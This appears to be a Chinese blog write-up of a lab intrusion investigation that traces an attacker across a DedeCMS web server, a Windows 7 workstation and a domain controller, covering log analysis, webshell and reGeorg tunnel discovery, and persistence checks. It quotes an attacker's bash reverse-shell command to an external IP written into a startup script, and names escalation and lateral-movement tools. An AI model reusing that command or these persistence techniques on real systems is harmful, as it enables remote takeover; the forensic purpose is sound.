服务器入侵追溯

目录

介绍

GoAccess 是一款用于Apache或者Nginx的命令行日志分析器和交互式查看器。它可以通过分析网站服务器日志来进一步挖掘数据,排查入侵痕迹。它在一个终端窗口实时输出并且可以在web端输出可视化的显示信息。

相关事件ID:

4624:成功登录

4625:登录失败

4768:Kerberos身份验证(TGT请求)

4769:Kerberos服务票证(ST请求)

4776:NTLM身份验证

4672:分配特殊权限

步骤

针对仅对公网开放的服务器,即Web服务器先进行操作。

已知Linux服务器开启了宝塔面板和一个网站的服务

打开kali操作机针对/etc/hosts文件进行修改,添加Web服务器ip testdede.com的ip映射



访问网址可以发现服务的版本是dedecms,通过网站图标即可得知

在Web服务器中查看/etc/init.d/bt的默认面板入口,输入/etc/init.d/bt default

如果登陆时账号或密码错误,利用/etc/init.d/bt更改密码

利用账户名和密码登陆后台页面,依次点击安全和Web日志,打开网站的日志目录,查看网站的日志信息

针对目录下的testdede.com-error_log文件,查看登陆错误的日志信息,并未发现有用信息,在f访问testdede.com-access_log日志时,过于凌乱。

利用scp命令将testdede.com-access_log文件下载到kali本地,scp root@ip:目录/文件 本地目录/

可以使用GoAccess对日志信息进行归总和图形化显示。

利用kali中安装的goaccess,使用命令goaccess 日志文件 --log-format=COMBINED -a > test.html导出可视化的页面文件

针对日志进行分析,可以看到在外部请求的文件中,tunnel.phpconfig.cache.inc.php请求量比较高,tunnel.php初步判断为这个内网穿透的reGeorg代理

请求量最多的ip是192.168.11.147,可能是大量的端口或者目录扫描,疑似攻击者的IP

使用宝塔面板或ssh连接至Web服务器均可查看以下tunnel.phpconfig.cache.inc.php的内容是什么,可以看到tunnel.php确实为reGeorg生成的内网穿透文件,config.cache.inc.php里面有eval关键字的webshell

判断web服务器的流量被代理到域内pc机

可能是通过弱口令登陆后台→后台写webshell

推断攻击者可能进行下一步攻击,进一步利用,需要提权和权限维持,再进行横向内网渗透,针对后续命令,可以用ssh连接到目标服务器

对服务器的一些特殊目录进行筛查,tmp目录下存在cve-2021-4034.py的文件,这个脚本通常被用来提权到root

通过ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu | head -n 5ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%mem | head -n 5,避免服务器被攻击者非法利用于挖矿,可以看到CPU和内存均正常且无可疑进程,根据结果判断并未用于挖矿

使用history命令可以查看历史命令,可以看到echo "bash -i >& /dev/tcp/110.42.229.77/6666 0>&1" > /etc/rc.d/init.d/haha.sh && chmod 777 /etc/rc.d/init.d/haha.sh这个反弹shell命令,同时讲反弹shell的操作写入脚本存入了自启动文件夹,110.42.229.77可能是攻击者的vps

同时,攻击者将反弹shell的命令脚本存入了定时任务

可以看到攻击者使用kali生成了密钥对,将密钥写入了服务器中,达成了使用攻击者kali登陆服务器无需密码的情况,实现了权限维持

可以看到后续历史命令中,攻击者使用了cve-2021-4034.py脚本进行了提权,添加了hack用户

通过对/etc/passwd的查看,发现了hack用户为最高权限0

根据历史命令中攻击者反弹shell写入自启动后,可以查看/etc/rc.d/init.d的自启动文件夹

针对Linux计划任务crontab,每10分钟执行一次反弹shell的操作,ip和之前分析的攻击者ip一致

攻击者在这个服务器的操作基本已经被基本掌握

切换操作机至PC办公机,Windows7

运行输入compmgnt.msc打开计算机管理,查看本地用户和组

可以看到有隐藏用户hack$,检查每个账户的属性,发现test用户隶属于Remote Desktop Users,推测攻击者可能通过test用户登陆域成员Win7

针对与域成员Win7,攻击者依旧可能存在权限维持手段,使用命令reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 导出目录\文件名.reg将开机自启注册表导出,或运行输入regedit打开注册表编辑器

同时在PC办公机2长时间运行过程中,可以看到hack.exe已停止工作的弹窗

针对注册表显示路径,进入目录查看

目录中有mimikatz,这个工具可以被攻击者用来内网渗透,常用于提取用户hash,提供简单hash的爆破功能。frpc是一个反向代理工具,可以用受害机器反向连接至公网攻击者vpn攻击机,用于配置隧道代理方便攻击者直接传输攻击流量至PC办公机2攻击域控制器。

查看frpc的配置文件,可以看到依旧是攻击者的vpsip,也发现了攻击者的ID

针对系统环境变量进行检查,使用命令set > 文件,可以导出环境变量,进行查看,攻击者将攻击目录添加至Path,攻击者在dos内任意目录直接输入程序名就可以执行程序

排查自启服务,没有查看到可以项目

排查计划任务,dos内依次输入命令chcp 437,schtasks /query /fo LIST /v > 路径\文件导出计划任务

可以看到计划任务中有之前发现的hack.exe文件

针对防火墙进行检查,之前frpc可能会开启异常的服务端口,使用命令netsh firewall show state > 目录\文件进行检查

防火墙开启了7000端口,与之前frpc配置文件的内容相对应。

打开火绒剑工具,在启动项栏目中还可以看到test1的注册表启动项

可以看到依旧是hack.exe

切换到域控制器WindowsServer,运行里输入services.msc查看服务项,可以看到一个PSEXEC的服务,根据对Win7的域机器的排查,可以判断攻击者利用PSEXEC这个工具进行了内网的横向渗透

同时在C盘根目录可以看到hack.exe,推断攻击者已经获取了域控的最高权限

事件查看器中可以看到源工作站为kali的日志条目,登录账户是test推测可能Win7机器的test账户被黑客利用与攻击域控

溯源的攻击者路径为:

默认密码登陆dedecms后台
配置文件写webshell
CVE提权后权限维持
neo-regrorg正向代理
权限维持和反向代理
抓取哈希值进行哈希传递
掌握dc域控最高权限

相关推荐
东华果汁哥1 分钟前
【linux 免密登录】快速设置kafka01、kafka02、kafka03 三台机器免密登录
linux·运维·服务器
肖永威32 分钟前
CentOS环境上离线安装python3及相关包
linux·运维·机器学习·centos
mengao123437 分钟前
centos 服务器 docker 使用代理
服务器·docker·centos
布鲁格若门39 分钟前
CentOS 7 桌面版安装 cuda 12.4
linux·运维·centos·cuda
Eternal-Student44 分钟前
【docker 保存】将Docker镜像保存为一个离线的tar归档文件
运维·docker·容器
C-cat.1 小时前
Linux|进程程序替换
linux·服务器·microsoft
dessler1 小时前
云计算&虚拟化-kvm-扩缩容cpu
linux·运维·云计算
怀澈1221 小时前
高性能服务器模型之Reactor(单线程版本)
linux·服务器·网络·c++
DC_BLOG1 小时前
Linux-Apache静态资源
linux·运维·apache
学Linux的语莫1 小时前
Ansible Playbook剧本用法
linux·服务器·云计算·ansible